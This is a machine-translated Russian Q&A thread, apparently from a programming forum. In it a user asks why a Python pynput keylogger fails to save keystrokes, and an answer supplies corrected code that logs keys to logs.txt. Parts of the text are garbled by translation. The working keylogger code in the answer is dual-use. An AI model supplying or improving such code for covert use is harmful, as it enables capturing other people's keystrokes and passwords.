питон. Он не создает и не записывает ключи в файл

#python #keylogger

#питон #кейлоггер

Вопрос:

импорт pynput

из клавиши импорта pynput.keyboard, Прослушиватель

количество = 0 Ключей = []

деф on_press(ключ): глобальные ключи, количество ключей.добавить(ключ) количество =1

 print("{0} pressed".format (key))  if count gt;=5:  count = 0  write_file(keys)  keys = []   def write_file(keys):  with open("logs.txt", "a") as f:  for key in keys:  k = str(key).replace("'" ",")  if k.find("space") gt; 0:  f.write('n')  elif k.find("Key") == -1:  f.write(k)  

деф on_press(клавиша): печать(«{0} нажата».формат(клавиша))

def on_release(ключ): если ключ == Ключ.esc: возвращает False

со слушателем(on_press=on_press, on_release=on_release) в качестве слушателя: listener.join()

Комментарии:

1. Вы определяете функцию только write_file после того, как число равно 5. Вы должны определить функцию вне цикла if. Кроме того, вы на самом деле не вызываете функцию, вы просто определяете ее. Если вы хотите, чтобы он был включен, нажмите, добавьте его в on_press функцию. Кроме того, довольно распространено включать весь код в тройную тильду ` ` и писать объяснение вашей проблемы.

2. можете ли вы отредактировать мой код, потому что ? я действительно не понимаю.

Ответ №1:

Несколько ошибок в вашем коде.

  • Определение ключей должно быть в нижнем регистре или, по крайней мере, соответствовать остальным.
  • write_file() должно быть определено вне if цикла. В противном случае функция не будет существовать.
  • write_file() его никогда не вызывали. Это должно быть вызвано внутри on_press() функции.
 import pynput from pynput.keyboard import Key, Listener   count = 0  keys = []  def write_file(keys):  with open("logs.txt", "a") as f:  for key in keys:  k = str(key).replace("'", ",")  if k.find("space") != -1:  f.write('n')  elif k.find("Key") == -1:  f.write(k)  def on_press(key):    global keys, count  keys.append(key)   count  = 1  if count gt;=5:  count = 0  write_file(keys)  keys = []  print("{0} pressed".format(key))  def on_release(key):  if key == Key.esc:   return False  with Listener(on_press=on_press, on_release=on_release) as listener:   listener.join()